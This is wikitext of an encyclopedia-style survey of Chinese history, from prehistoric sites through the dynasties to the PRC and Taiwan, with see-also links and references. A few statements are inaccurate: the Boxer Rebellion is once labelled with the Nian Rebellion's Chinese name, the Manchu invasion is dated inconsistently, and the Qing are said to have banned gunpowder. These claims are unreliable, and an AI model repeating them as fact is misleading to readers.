[[China]] was inhabited, possibly more than a million years ago, by ''[[Homo erectus]]''. The excavations at [[Yuanmou]] (元謀) and later Lantian (藍田) show early habitation. Perhaps the most famous specimen of ''Homo erectus'' found in China is the so-called [[Peking Man]] (北京人) found in 1923.  The ''[[Homo sapiens]]'' or modern human might have reached China about 65,000 years ago from [[Africa]]. Early evidence for proto-Chinese [[rice paddy]] agriculture is [[Radiocarbon dating|carbon-dated]] to about 6000 BC, and associated with the [[Peiligang culture]] (裴李崗文化) of [[Xinzheng]] county (新鄭縣), [[Henan]] (河南省). With agriculture came increased population, the ability to store and redistribute crops, and to support specialist craftsmen and administrators. In late [[Neolithic]] times, the [[Huang He]] (黃河) valley began to establish itself as a cultural center, where the first villages were founded; the most archaeologically significant of those was found at [[Banpo]] (半坡), [[Xi'an]] (西安).

== Prehistory ==
The early history of China is complicated by the lack of a written language during this period coupled with the existence of documents from later time periods attempting to describe events that occurred several centuries before.  The problem in some sense stems from centuries of introspection on the part of the Chinese people which has blurred the distinction between fact and fiction in regards to this early history.   [[Archaeological site]]s such as [[Sanxingdui]] (三星堆) and [[Erlitou culture|Erlitou]] (二里頭) show evidence of a [[Bronze Age]] [[civilization]] in China. However the earliest comprehensive [[history]] of China, the ''[[Records of the Grand Historian|Historical Records]]'' (史記) by [[Sima Qian]] (司馬遷), a renowned Chinese historiographer of the [[2nd century BC]], begins perhaps 1300 years earlier, with an account of the [[The Three August Ones and the Five Emperors#The Five Emperors|Five Emperors]] (三皇五帝). These rulers were semi-mythical sage-kings and moral exemplars, and one of them, the [[Yellow Emperor]] (黃帝), is said to be the ancestor of all Chinese people.	 

Sima Qian relates that the system of inherited rulership was established during the following early period called the [[Xia Dynasty]] (夏朝), and that this model was perpetuated in the recorded [[Shang Dynasty|Shang]] and [[Zhou Dynasty|Zhou]] (周朝) dynasties. It is during this period of the ''Three Dynasties'' ([[Chinese language|Chinese]]: 三代; [[pinyin]]: ''sāndài'') that the historical China begins to appear.	 

=== Xia Dynasty === 
{{main|Xia Dynasty}}
[[Sima Qian]]'s account dates the founding of the [[Xia Dynasty]] to some 4,000 years ago, but this date has not been corroborated. Some archaeologists connect the Xia to excavations at [[Erlitou culture|Erlitou]] in central [[Henan]] province, where a bronze smelter from around [[2000 BC]] was unearthed. Early markings from this period, found on pottery and shells, have been alleged to be ancestors of modern [[Chinese character]]s, but such claims have not been accepted by many scholars. Proof of Xia's existence still requires further archaeological discovery. With no clear written records to match the Shang [[oracle bones]] or the [[Zhou Dynasty (1122 BC - 256 BC)|Zhou]] bronze vessel writings, the Xia era remains poorly understood.

==Ancient History==
=== Shang Dynasty ===	  
{{main|Shang Dynasty}}
The earliest written record of China's past dates from the [[Shang Dynasty]] in perhaps the [[13th century BC]], and takes the form of inscriptions of divination records on the bones or shells of animals&amp;mdash;the so-called ''[[oracle bones]]'' (甲骨文). Archaeological findings providing evidence for the existence of the [[Shang Dynasty]] (商朝), c [[1,600s BC|1,600]]&amp;ndash;[[1,040s BC|1,046 BC]] is divided into two sets. The first, from the earlier Shang period (c 1600&amp;ndash;[[1,300s BC|1,300]]) comes from sources at [[Erligang]] (二里崗), [[Zhengzhou]] (鄭州) and [[Shangcheng]]. The second set, from the later Shang or Yin (殷) period, consists of a large body of oracle bone writings. [[Anyang]] (安陽) in modern day Henan has been confirmed as the last of the nine capitals of the Shang (c 1300&amp;ndash;1,046 BC).	 
Chinese historians living in later periods were accustomed to the notion of one dynasty succeeding another, but the actual political situation in early China is known to have been much more complicated. Hence, as some scholars of China suggest, the Xia and the Shang can possibly refer to political entities that existed concurrently, just as the early Zhou ([[successor state]] of the Shang), is known to have existed at the same time as the Shang.	 

=== Zhou Dynasty === 
{{main|Zhou Dynasty}}	 
By the end of the 2nd millennium BC, the [[Zhou Dynasty]] (周朝) began to emerge in the [[Yellow River]] valley, overrunning the Shang. The Zhou appeared to have begun their rule under a semi-feudal system.  The ruler of the Zhou, [[King Wu of Zhou| King Wu]], with the assistance of his uncle, the [[Duke of Zhou]], as regent managed to defeat the Shang at the [[Battle of Muye]].  The king of Zhou at this time invoked the concept of the [[Mandate of Heaven]] to legitimize his rule, a concept that would be influential for almost every successive dynasty.  The Zhou initially moved their capital west to an area near modern [[Xi'an]], near the Yellow River, but they would preside over a series of expansions into the [[Yangzi River]] valley.  This would be the first of many population migrations from north to south in Chinese history.

=== Spring and Autumn Period ===
In the [[8th century BC]], power became decentralized during the [[Spring and Autumn Period]] (春秋時代), named after the influential [[Spring and Autumn Annals]].  In this period, local military leaders used by the Zhou began to assert their power and vie for hegemony. The situation was aggravated by the invasion of other peoples from the northwest, forcing the Zhou to move their capital east to [[Luoyang]].  In each of the perhaps hundreds of states that eventually arose, local strongmen held most of the political power and continued their subservience to the Zhou kings in name only.  The [[Hundred Schools of Thought]] (諸子百家) of Chinese philosophy blossomed during this period, and such influential intellectual movements as [[Confucianism]] (儒家), [[Taoism]] (道家), [[Legalism (philosophy)|Legalism]] (法家) and [[Mohism]] (墨家) were founded.

=== Warring States Period ===
After further political consolidation, seven prominent states remained by the end of 5th century BC, and the years in which these few states battled each other is known as the [[Warring States Period]] (戰國時代). Though there remained a nominal [[Zhou Dynasty (1122 BC - 256 BC)|Zhou]] king until [[256 BC]], he was largely a figurehead and held little real power.	 

As neighboring territories of these warring states, including areas of modern [[Sichuan]] (四川)and [[Liaoning]] (遼寧), were annexed, they were governed under the new local administrative system of [[commandery]] and [[prefecture]] (郡縣). This system had been in use since the Spring and Autumn Period and parts can still be seen in the modern system of [[Political divisions of China|Sheng &amp; Xian]] (province and county, 省縣). The final expansion in this period began during the reign of Ying Zheng (嬴政), the king of Qin. His unification of the other six powers, and further annexations in the modern regions of [[Zhejiang]] (浙江), [[Fujian]] (福建), [[Guangdong]] (廣東) and [[Guangxi]] (廣西) in [[214 BC]] enabled him to proclaim himself the [[Qin Shi Huang|First Emperor]] (Shi Huangdi, 始皇帝).

== Qin Dynasty: The Beginning of imperial China ==

Historians often refer to the period from [[Qin Dynasty]] to the end of [[Qing Dynasty]] as imperial China. Though the unified reign of the [[Qin Shi Huang|Qin]] (秦) Emperor lasted only twelve years, he managed to subdue great parts of what constitutes the core of the [[Han Chinese]] homeland and to unite them under a tightly centralized [[Legalism (philosophy)|Legalist]] government seated at Xianyang (咸陽)(in modern [[Xi'an]]).  The doctrine of legalism that guided the Qin emphasized strict adherance to a legal code and the absolute power of the emperor.  This philosophy, while very effective for expanding the empire in a military fashion, proved unworkable for governing it in peace time.  The Qin presided over the brutal silencing of political opposition, including the event known as the [[To burn the classics and to bury the scholars|burning and burying of scholars]]. This would be the impitus behind the later Han Synthesis incorporating the more moderate schools of political governance.   

The [[Qin Dynasty]] is well known for beginning the [[Great Wall of China]], which was later augmented and enhanced during the [[Ming]] Dynasty (明朝).  The other major contributions of the Qin included unifying the legal code, written language, and currency of China after the tribulations of the Spring and Autumn and Warring States Periods.  Even something as basic as the length of axles for carts had to be made uniform to ensure a viable trading system throughout the empire.

== Han Dynasty: A period of prosperity ==
{{main|Han Dynasty}}
The [[Han Dynasty]] (漢朝) emerged in [[202 BC]].  It was the first dynasty to embrace the philosophy of [[Confucianism]], which became the ideological underpinning of all regimes until the end of imperial China. Under the Han Dynasty, China made great advances in many areas of the arts and sciences. [[Emperor Wu of Han China|Emperor Wu]] (Han Wudi 漢武帝) consolidated and extended the Chinese empire by pushing back the [[Xiongnu]] (匈奴)(sometimes identified with the [[Huns]]) into the steppes of modern [[Inner Mongolia]] (內蒙古), wresting from them the modern areas of [[Gansu]] (甘肅), [[Ningxia]] (寧夏) and [[Qinghai]] (青海).  This enabled the first opening of trading connections between China and the West, the [[Silk Road]] (絲綢之路).

Nevertheless, land acquisitions by elite families gradually drained the tax base. In [[9|AD 9]], the usurper [[Wang Mang]] (王莽) founded the short-lived Xin (&quot;New&quot;) Dynasty (新朝) and started an extensive program of land and other economic reforms. These programs, however, were never supported by the land-holding families, for they favored the peasant and lesser gentry, and the instability they produced brought on chaos and uprisings. 

[[Emperor Guangwu of Han|Emperor Guangwu]] (光武帝) reinstated the Han Dynasty with the support of land-holding and merchant families at [[Luoyang]] (洛陽), east of [[Xi'an]]. This new era would be termed the [[Eastern Han Dynasty]] (東漢). Han power declined again amidst land acquisitions, invasions, and feuding between [[consort clan]]s and [[eunuch]]s. The [[Yellow Turban Rebellion]] (黃巾之亂) broke out in [[184]], ushering in an era of [[warlords]]. In the ensuing turmoil, three states tried to gain predominance in the Period of the [[Three Kingdoms]] (三國). This time period has been greatly romanticized in works such as ''[[Romance of the Three Kingdoms]]'' (三國演義).

== Jin, the Sixteen Kingdoms, and the Northern and Southern Dynasties ==
{{main|Jin Dynasty}}
Though these three kingdoms were reunited temporarily in [[280]] by the (Western) [[Jin Dynasty (265-420)|Jin Dynasty]] (晉朝), the contemporary non-Han Chinese ([[Wu Hu]], 五胡) ethnic groups controlled much of the country in the early 4th century and provoked large-scale Han Chinese migrations to south of the [[Yangtze River|Chang Jiang]] (長江). In [[303]] the [[Di]] (氐) people rebelled and later captured [[Chengdu]] (成都). Under [[Liu Yuan]] (劉淵) the [[Xiongnu]] rebelled near today's [[Linfen County]] (山西省臨汾縣).  His successor [[Liu Cong]] (劉聰) captured and [[execution (legal)|executed]] the last two Western Jin emperors.  [[Sixteen Kingdoms|Sixteen kingdoms]] were established by these ethnic groups. The chaotic north was temporarily unified by [[Fu Jiān]] (苻堅) who was defeated at the [[Battle of Feishui]] (淝水之戰) when he attempted to invade the south of China. Later on, [[Emperor Taiwu of Northern Wei]] (北魏太武帝) reunified the north again, marking the beginning of the [[Northern Dynasties]], a sequence of local regimes ruling over the regions north of [[Yangtze River|Chang Jiang]].

Along with the refugees from the North, [[Emperor Yuan of Jin China]] (晉元帝) reinstated the Jin regime at present [[Nanjing]] (南京) in the south.  From this came the sequence of [[Southern dynasties]] of Song (宋), Qi (齊), Liang (梁) and Chen (陳), which all had their capitals at Jiankang (建康) (near today's Nanjing). As China was ruled by two independent dynasties, one in the south and the other in the north, this is called the era of [[Southern and Northern Dynasties]] (南北朝).

== Sui Dynasty: Reunification ==
{{main|Sui Dynasty}}
The [[Sui Dynasty]] (隋朝) managed to reunite the country in [[589]] after almost 300 years of disjunction.

The unification is the second shortest dynasty in the history of China after Qin Dynasty, and during this time, millions laboured on the [[Grand Canal of China]] (大運河), still the longest canal in the world to date.

== Tang Dynasty: Return to prosperity ==
{{main|Tang Dynasty}}
On [[June 18]], [[618]], [[Gaozu]] (唐高祖) took the throne, and the [[Tang Dynasty]] (唐朝) was established, opening a new age of prosperity and innovations in arts and technology. [[Buddhism]], which had gradually been established in China from the [[1st century|first century]], became the predominant religion and was adopted by the royal family and many of the common people. 

[[Chang'an]] (長安)(modern [[Xi'an]]), the national capital, is thought to have been the world's biggest city at the time. The Tang and [[Han]] are often referred to as the most prosperous periods of Chinese history. 

The Tang, like the Han, kept the trade routes open to the west and south and there was extensive trade with distant foreign countries and many foreign merchants settled in China. 

From about [[860]] the Tang Dynasty began to decline due to a series of rebellions within China itself, and in the previously subject Kingdom of [[Nanzhao]] (南詔) to the south. One of the warlords, [[Huang Chao]] (黃巢), captured [[Guangzhou]] (廣州) in [[879]], killing most of the 200,000 inhabitants including most of the large colony of foreign merchant families there. In late [[880]] Luoyang surrendered to him and on 5 January, [[881]] he conquered [[Changan]]. The emperor [[Xizong]] (唐僖宗) fled to [[Chengdu]] and Huang established a new temporary regime, which was eventually destroyed by Tang forces.  However, another time of political chaos followed: the [[Five Dynasties and Ten Kingdoms Period]].

== Song Dynasty and its northern neighbors, the Liao and the Jin ==
{{main|Song Dynasty}}
In [[960]], the [[Song Dynasty (960-1279)]] (宋朝) gained power over most of China and established its capital in [[Kaifeng]] (汴京/開封), establishing a period of economic prosperity, while the [[Khitan]] [[Liao Dynasty]] (契丹族遼國) ruled over [[Manchuria]] and eastern [[Mongolia]]. In [[1115]] the [[Jurchen]] [[Jin Dynasty (1115-1234)]] (女真族金國) emerged to prominence, annihilating the Liao Dynasty in 10 years. It also took power over northern China and Kaifeng from the Song Dynasty, which moved its capital to [[Hangzhou]] (杭州). The Southern Song Dynasty also suffered the humiliation of having to acknowledge the Jin Dynasty as formal overlords. In the ensuing years China was divided between the Song Dynasty, the Jin Dynasty, and the [[Tangut]] [[Western Xia]] (西夏). Southern Song was a period of great technological development which can be explained in part by the military pressure that it felt from the north.

== Mongols and the Yuan Dynasty ==
{{main|Yuan Dynasty}}
The Jin Empire was defeated by the [[Mongol]]s, who then proceeded to defeat the Southern Song in a long and bloody war, the first war where firearms played an important role. Some scholars estimate that about half the population, 50 million Han Chinese people may have perished in total as a result of the Mongols' invasion and conquest. During the era after the war, later called the ''[[Pax Mongolica]]'', adventurous Westerners such as [[Marco Polo]] travelled all the way to China and brought the first reports of its wonders to Europe. In China, the Mongols were divided between those who wanted to remain based in the steppes and those who wished to adopt the customs of the Chinese.

[[Kublai Khan]] (忽必烈/元世祖), grandson of [[Genghis Khan]] (成吉思汗), wanting to adopt [[Han Chinese]] customs, established the [[Yuan Dynasty]] (元朝). This was the first dynasty to rule the whole of China from [[Beijing]] (北京) as the capital. Beijing had been ceded to Liao in AD [[938]] with the [[16 Prefectures of Yan Yun]] (燕雲十六州).  Before that, it had been the capital of the Jin, who did not rule all of China.

== Ming Dynasty: Revival of Han rule ==
{{main|Ming Dynasty}}
There was strong sentiment, among the populace, against the rule of the &quot;foreigner&quot; (known as D&amp;aacute;zi 韃子), which finally led to peasant revolts.  The Mongolians were pushed back to the steppes and replaced by the [[Ming Dynasty]] (明朝) in [[1368]]. 

During Mongol rule, the population had dropped by 40 percent, to an estimated 60 million. Two centuries later, it had doubled. Urbanization thus increased as the population grew and as the division of labor grew more complex. Large urban centers, such as [[Nanjing]] and [[Beijing]], also contributed to the growth of private industry. In particular, small-scale industries grew up, often specializing in paper, silk, cotton, and porcelain goods. For the most part, however, relatively small urban centers with markets proliferated around the country. Town markets mainly traded food, with some necessary manufactures such as pins or oil.

Despite the xenophobia and intellectual introspection characteristic of the increasingly popular new school of [[neo-Confucianism]], China under the early Ming Dynasty was not isolated.  Foreign trade and other contacts with the outside world, particularly [[Japan]] (倭國), increased considerably. Chinese merchants explored all of the [[Indian Ocean]], reaching [[East Africa]] with the voyages of [[Zheng He]] (鄭和, original name [[Ma Sanbao]] 馬三保). 

[[Zhu Yuanzhang]] (朱元璋) or ([[Hongwu Emperor of China|Hong-wu]], 洪武皇帝/明太祖), the founder of the dynasty, laid the foundations for a state interested less in commerce and more in extracting revenues from the agricultural sector. Perhaps because of the Emperor's background as a peasant, the Ming economic system emphasized agriculture, unlike that of the Song and the Mongolian Dynasties, which relied on traders and merchants for revenue. Neo-feudal landholdings of the Song and Mongol periods were expropriated by the Ming rulers. Great landed estates were confiscated by the government, fragmented, and rented out.  Private slavery was forbidden. Consequently, after the death of [[Yongle Emperor of China|Emperor Yong-le]] (永樂皇帝/明成祖), independent peasant landholders predominated in Chinese agriculture. These laws might have paved the way to removing the worst of the poverty during the previous regimes. The laws against the merchants and the restrictions under which the craftsmen worked remained essentially as they had been under the Song, but now the remnants of the older foreign merchant class also fell under these new Ming laws. Their influence quickly dwindled.

The dynasty had a strong and complex central government that unified and controlled the empire. The emperor's role became more autocratic, although Zhu Yuanzhang necessarily continued to use what he called the &quot;Grand Secretaries&quot; to assist with the immense paperwork of the bureaucracy, including memorials (petitions and recommendations to the throne), imperial edicts in reply, reports of various kinds, and tax records.  It was this same bureaucracy that later prevented the Ming government from being able to adapt to changes in society, and eventually led to its decline.  

Emperor Yong-le strenuously tried to extend China's influence beyond its borders by demanding other rulers send ambassadors to China to present tribute. A large navy was built, including four-masted ships displacing 1,500 tons. A standing army of 1 million troops (some estimate as many as 1.9 million) was created. The Chinese armies conquered [[Annam]] (安南) while the Chinese fleet sailed the China seas and the Indian Ocean, cruising as far as the east coast of Africa. The Chinese gained influence over [[Turkestan]]. Several maritime Asian nations sent envoys with tribute for the Chinese emperor. Domestically, the [[Grand Canal of China|Grand Canal]] was expanded, and proved to be a stimulus to domestic trade.  Over 100,000 tons of iron per year were produced. Many books were printed using movable type. The imperial palace in Beijing's Forbidden City reached its current splendor. The Ming period seems to have been one of China's most prosperous.   It was also during these centuries that the potential of south China came to be fully exploited. New crops were widely cultivated, and industries such as those producing porcelain and textiles flourished.

During the Ming dynasty was the last construction on the Great Wall. While the Great Wall had been built in earlier times, most of what is seen today was either built or repaired by the Ming. The brick and granite work was enlarged, the watch towers were redesigned, and cannons were placed along its length.

== Qing Dynasty ==
{{main|Qing Dynasty}}

The [[Qing Dynasty]] (清朝, [[1644]]&amp;ndash;[[1911]]) was founded after the defeat of the [[Ming]], the last [[Han Chinese]] [[dynasty]], by the [[Manchu]]s (滿族).  The Manchus were formerly known as the ''[[Jurchen]]'' and invaded from the north in the late seventeenth century. Even though the Manchus started out as alien conquerors, they quickly adopted the Confucian norms of traditional Chinese government.  They eventually ruled in the manner of traditional native dynasties.

The Manchus enforced a 'queue order' forcing the Han Chinese to adopt the Manchu queue and Manchu-style clothing. The Manchus had a special hair style: the &quot;queue&quot;. They cut hair off the front of their heads and made the remaining hair into a long pigtail. The traditional Chinese clothing, or [[Hanfu]] (漢服) was also replaced by Manchu-style clothing. ''Qipao'' (Chinese dress, 旗袍) and ''Tangzhuang'' (唐裝), usually regarded as traditional Chinese clothing nowadays, are actually Manchu-style clothing.  The penalty for not complying was death. 

[[Kangxi Emperor of China|Emperor Kangxi]] (康熙皇帝/清聖祖) ordered the creation of [[Kangxi Dictionary|the most complete dictionary]] of Chinese characters ever put together at the time.  Under [[Qianlong Emperor of China|Emperor Qianlong]], the compilation of a catalogue of the important works on Chinese culture was made. 

The Manchus set up the &quot;Eight Banners&quot; system (八旗制度) in an attempt to avoid being assimilated into Chinese society. The &quot;Eight Banners&quot; were military institutions, set up to provide a structure with which the Manchu &quot;bannermen&quot; were meant to identify. Banner membership was to be based on traditional Manchu skills such as archery, horsemanship, and frugality. In addition, they were encouraged to use the Manchu language, rather than Chinese. Bannermen were given economic and legal privileges in Chinese cities.

Over the next half-century, the Manchus consolidated control of some areas originally under the [[Ming]], including [[Yunnan]] (雲南).  They also stretched their sphere of influence over [[Xinjiang]] (新疆), [[Tibet]] (西藏) and [[Mongolia]] (蒙古). 

[[Image:china_imperialism_cartoon.jpg|thumbnail|left|200px|In this famous French political cartoon, [[China]] is being divided up by the [[United Kingdom]], [[Germany]], [[Russia]], [[France]], and [[Japan]].]]

During the [[19th century]], [[Qing]] control weakened. China suffered massive social strife, economic stagnation, and Western penetration and influence. Britain's desire to continue its opium trade with [[China]] collided with imperial edicts prohibiting the addictive drug, and the [[First Opium War]] (鴉片戰爭) erupted in [[1840]].  [[United Kingdom|Britain]] and other Western powers, including the [[United States]], thereupon forcibly occupied &quot;concessions&quot; and gained special commercial privileges. [[Hong Kong]] (香港) was ceded to [[United Kingdom|Britain]] in [[1842]] under the [[Treaty of Nanking]] (南京條約). In addition, the [[Taiping Rebellion]] (太平天國) ([[1851]]-[[1864]]) and the [[Boxer Rebellion]] (捻軍起義) occurred in this century.  In many ways the rebellions and the unfair treaties the Qing were forced to sign with the imperialist powers are symptomatic of the innability of the Chinese government to respond adequately to the challenging conditions facing China in the 19th century.

The two Opium wars and the opium trade were costly outcomes for the [[Qing]] dynasty and the Chinese people. The Qing imperial treasury was declared bankrupt twice arising from indemnities incurred in the [[Opium wars]] and the large outflow of silver due to the opium trade (in tens of billions of ounces).  China suffered two extreme famines exactly twenty years after each opium war in the 1860s and 1880s, and the Qing imperial dynasty was ineffective in helping the population. Socially these events had a profound impact as it challenged the hegemony that the Chinese had enjoyed in Asia for centuries. As a result, the country was in a state of turmoil.

A large rebellion, the [[Taiping Rebellion]], involved around a third of China falling under control of the Taiping Tianguo, a quasi-Christian religous movement led by the &quot;Heavenly King&quot; Hong Xiuquan. Only after fourteen years were the Taipings finally crushed - the Taiping army was destroyed in the [[Third Battle of Nanking]] in [[1864]]. In total between twenty million and fifty million lives were lost, making it the second deadliest war in human history.  

The Qing officials were slow to adopt modernity and suspicious of social and technological advances that they viewed as a threat to their absolute control over [[China]]. As an example, gunpowder had been widely used by the army of the [[Song]] and [[Ming]] Dynasties, then was forbidden by the Qing rulers after they took over China. Therefore, the dynasty was ill-equipped to handle the Western encroachment. Western powers did intervene militarily to quell domestic chaos, such as the Taiping Rebellion and the anti-imperialist [[Boxer Rebellion]] (義和團起義). [[Charles George Gordon|General Gordon]], later killed in the siege of [[Khartoum]], [[Sudan]], was often credited with having saved the Qing dynasty from the Taiping insurrection.

By the [[1860s]], the [[Qing]] Dynasty had put down the rebellions at enormous cost and loss of life. This undermined the credibility of the Qing regime and, spearheaded by local initiatives by provincial leaders and gentry, contributed to the rise of warlordism in China. The Qing Dynasty under the [[Emperor Guangxu]] (光緒皇帝/清德宗) proceeded to deal with the problem of modernization through the [[Self-Strengthening Movement]] (自強運動). However, between 1898 and 1908 the Empress Dowager [[Dowager Empress Cixi|Cixi]] had the reformist Guangxu imprisoned for being 'mentally disabled'. The Empress Dowager (慈禧太后), with the help of conservatives, initiated a military coup, effectively removed the young Emperor from power, and overturned most of the more radical reforms.  He died one day before the death of the Empress Dowager (some believe Guangxu was poisoned by Cixi).  Official corruption, cynicism, and imperial family quarrels made most of the military reforms useless. As a result, the Qing's &quot;[[New Armies]]&quot; were soundly defeated in the [[Sino-French War (1883-1885)]] and the [[Sino-Japanese War (1894-1895)]].

At the start of the [[20th century]], the [[Boxer Rebellion]] threatened northern China.  This was a conservative anti-imperialist movement that sought to return China to old ways.  The Empress Dowager, probably seeking to ensure her continued grip on power, sided with the Boxers when they advanced on Beijing.  In response the [[Eight-Nation Alliance]] invaded China. Consisting of British, Japanese, Russian, Italian, German, French, US and Austrian troops, the alliance defeated the Boxers and demanded further concessions from the Qing goverment.

== The Republic of China ==
{{main|History of the Republic of China}}
Frustrated by the Qing court's resistance to reform and by China's weakness, young officials, military officers, and students&amp;mdash;inspired by the revolutionary ideas of [[Sun Yat-sen]] (孫中山) &amp;mdash;began to advocate the overthrow of the Qing Dynasty and creation of a republic. A revolutionary military uprising, the [[Wuchang Uprising]], began on [[October 10]], [[1911]] in [[Wuhan]] (武漢). The provisional government of the [[Republic of China]] (中華民國) was formed in [[Nanjing]] on [[March 12]], [[1912]] with [[Sun Yat-sen]] as [[President of the Republic of China|President]], but Sun decided to turn power over to  [[Yuan Shikai]] (袁世凱) who commanded the [[New Army]] and was [[Prime Minister]] under the Qing government, as part of the agreement to let the [[Ai-xin-jue-luo Pu-yi|last Qing monarch]] abdicate (a decision he would later regret). Yuan Shikai proceeded in the next few years to abolish the national and provincial assemblies and declared himself emperor in [[1915]]. Yuan's imperial ambitions were fiercely opposed by his subordinates, and faced with the prospect of rebellion, Yuan broke down and died shortly after in [[1916]], leaving a power vacuum in China. His death left the republican government all but shattered, ushering in the era of the &quot;[[warlord]]s&quot; when China was ruled and ravaged by shifting coalitions of competing provincial military leaders.

A little noticed event (to the rest of the world) in 1919 would have long-term repercussions for the rest of Chinese history in the 20th century. This was the [[May Fourth Movement]] (五四運動). The discrediting of liberal Western philosophy amongst Chinese intellectuals was followed by the adoption of more radical lines of thought. This in turn planted the seeds for the irreconcilable conflict between the left and right in China that would dominate Chinese history for the rest of the century.

In the [[1920s]], [[Sun Yat-Sen]] established a revolutionary base in south China, and set out to unite the fragmented nation. With Soviet assistance, he entered into an alliance with the fledgling [[Communist Party of China]] (CPC, 中國共產黨). After Sun's death from cancer in [[1925]], one of his protégés, [[Chiang Kai-shek]] (蔣介石), seized control of the [[Kuomintang|''Kuomintang'' (Nationalist Party or KMT, 國民黨)]] and succeeded in bringing most of south and central China under its rule in a military campaign known as the [[Northern Expedition]] (北伐). Having defeated the warlords in south and central China by military force, Chiang was able to secure the nominal allegiance of the warlords in the North. In [[1927]], Chiang turned on the CPC and relentlessly chased the CPC armies and its leaders from their bases in southern and eastern China. In 1934, driven from their mountain bases such as the [[Chinese Soviet Republic]] (中華蘇維埃共和國), the CPC forces embarked on the [[Long March]] (長征) across China's most desolate terrain to the northwest, where they established a guerrilla base at [[Yan'an]] in [[Shaanxi]] Province (陝西省延安市).

During the [[Long March]], the communists reorganized under a new leader, [[Mao Zedong]] (Mao Tse-tung, 毛澤東). The bitter struggle between the KMT and the CPC continued, openly or clandestinely, through the 14-year long Japanese invasion ([[1931]]-[[1945]]), even though the two parties nominally formed a united front to oppose the Japanese invaders in [[1937]], during the [[Sino-Japanese War (1937-1945)]] portion of [[World War II]]. The war between the two parties resumed following the Japanese defeat in 1945. By [[1949]], the CPC occupied most of the country. ''(see [[Chinese Civil War]])''

Chiang Kai-shek fled with the remnants of his government and military forces to [[Taiwan]] (台灣), where he proclaimed [[Taipei]] (台北) to be the Republic of China's &quot;provisional capital&quot; and vowed to reconquer the [[Mainland China|Chinese mainland]].

== The Present ==
{{main|History of the People's Republic of China}}
With the proclamation of the [[People's Republic of China]] (中華人民共和國) on [[October 1]], [[1949]], China was divided yet again, into the PRC on the mainland and the ROC on [[Taiwan]] and several outlying islands of [[Fujian]] (福建省), with two governments each regarding itself as the one true Chinese government and denouncing the other as illegitimate. This remained true until the early [[1990s]], when political changes on Taiwan led the ROC to formally accept that they would never reoccupy China again. Since then, they have been pushing actively to gain recognition by the world community as a legitimate and independent state, which the [[People's Republic of China]] vehemently opposes and insists the world not deviate from their [[One-China Policy]].  Many Taiwanese regard Taiwan as historically being a part of China, but are now reluctant to give up their freedoms and live under a communist controlled government.

For more information see [[People's Republic of China]] and [[History of Taiwan]].

== See also ==
{{commons|History of China}}
*[[History of Taiwan]]
*[[History of Hong Kong]]
*[[History of Macau]]
*[[Timeline of Chinese history]], for a chronological list of major events and figures.
*[[Dynasties in Chinese history]], for dates and links to more information on their histories and emperors.
*[[Chinese sovereign]], for titles and naming conventions of Chinese rulers.
*[[Table of Chinese monarchs]], for a very long list of the rulers of China.
*[[Military history of China]]
*[[List of Chinese rebellions]]
*[[List of past Chinese ethnic groups]], for information on non-[[Han Chinese]] peoples in Chinese history.
*[[Chinese historiography]], for an article on scholarship influenced by post-modernism and periodization.
*[[List of China-related topics]], for a collection of articles on China.
*[[History of traditional Chinese medicine]]

==References==
===Han Dynasty===
*[[Rafe de Crespigny|de Crespigny, Rafe]]. 1977. The Ch’iang Barbarians and the Empire of Han: A Study in Frontier Policy. ''Papers on Far Eastern History'' 16, Australian National University. Canberra. 
*de Crespigny, Rafe. 1984. ''Northern Frontier. The Policies and Strategies of the Later Han Empire''. Rafe de Crespigny. 1984. Faculty of Asian Studies, Australian National University. Canberra. 
*de Crespigny, Rafe. 1989. &quot;South China under the Later Han Dynasty&quot; (Chapter One from ''Generals of the South: the Foundation and early history of the Three Kingdoms state of Wu'' by Rafe de Crespigny, in Asian Studies Monographs, New Series No. 16 Faculty of Asian Studies, The Australian National University, Canberra 1989)[http://www.anu.edu.au/asianstudies/south_china.html]
*de Crespigny, Rafe. 1996. &quot;Later Han Military Administration: An Outline of the Military Administration of the Later Han Empire.&quot; Rafe de Crespigny. Based on the Introduction to Emperor Huan and Emperor Ling being the Chronicle of Later Han for the years 189 to 220 AD as recorded in Chapters 59 to 69 of the Zizhi tongjian of Sima Guang, translated and annotated by Rafe de Crespigny and originally published in the Asian Studies Monographs, New Series No. 21, Faculty of Asian Studies, The Australian National University, Canberra 1996. [http://www.anu.edu.au/asianstudies/decrespigny/mil_org.html]
*Dubs, Homer H. 1938. ''The History of the Former Han Dynasty by Pan Ku. Vol. One''. Baltimore. Waverly Press, Inc. 
*Dubs, Homer H. 1944. ''The History of the Former Han Dynasty by Pan Ku. Vol. Two''.  Baltimore. Waverly Press, Inc. 
*Dubs, Homer H. 1955. ''The History of the Former Han Dynasty by Pan Ku. Vol. Three''.  Ithaca, New York. Spoken Languages Services, Inc. 
* Hill, John E. 2004. ''The Western Regions according to the Hou Hanshu.'' Draft annotated English translation.[http://depts.washington.edu/uwch/silkroad/texts/hhshu/hou_han_shu.html]
* Hill, John E. 2004. ''The Peoples of the West from the Weilue'' ?? ''by Yu Huan'' ??'': A Third Century Chinese Account Composed between 239 and 265 CE.'' Draft annotated English translation. [http://depts.washington.edu/uwch/silkroad/texts/weilue/weilue.html]
*Hirth, Friedrich. 1875. ''China and the Roman Orient''. Shanghai and Hong Kong. Unchanged reprint. Chicago, Ares Publishers, 1975.
*Hulsewé, A. F. P. and Loewe, M. A. N. 1979. ''China in Central Asia: The Early Stage 125 BC – AD 23: an annotated translation of chapters 61 and 96 of the History of the Former Han Dynasty''. Leiden: E. J. Brill. 
*Twitchett, Denis and Loewe, Michael, eds. 1986. ''The Cambridge History of China. Volume I. The Ch’in and Han Empires, 221 B.C. – A.D. 220''. Cambridge University Press.

===Jin, the Sixteen Kingdoms, and the Northern and Southern Dynasties===
*de Crespigny, Rafe. 1991. &quot;The Three Kingdoms and Western Jin: A History of China in the Third Century AD.&quot; ''East Asian History'', no. 1 [June 1991], pp. 1-36, &amp; no. 2 [December 1991], pp. 143-164. Australian National University, Canberra. [http://www.anu.edu.au/asianstudies/decrespigny/3KWJin.html]
*Miller, Andrew. 1959. ''Accounts of Western Nations in the History of the Northern Chou'' Dynasty. University of California Press.

===Sui Dynasty===
*Wright, Arthur F. 1978. ''The Sui Dynasty: The Unification of China. A.D. 581-617''. Alfred A. Knopf, New York. ISBN 0-394-49187-4 ; 0-394-32332-7 (pbk).

===Tang Dynasty===
*Benn, Charles. 2002. ''China's Golden Age: Everyday Life in the Tang Dynasty''. Oxford University Press. ISBN 0-19-517665-0.
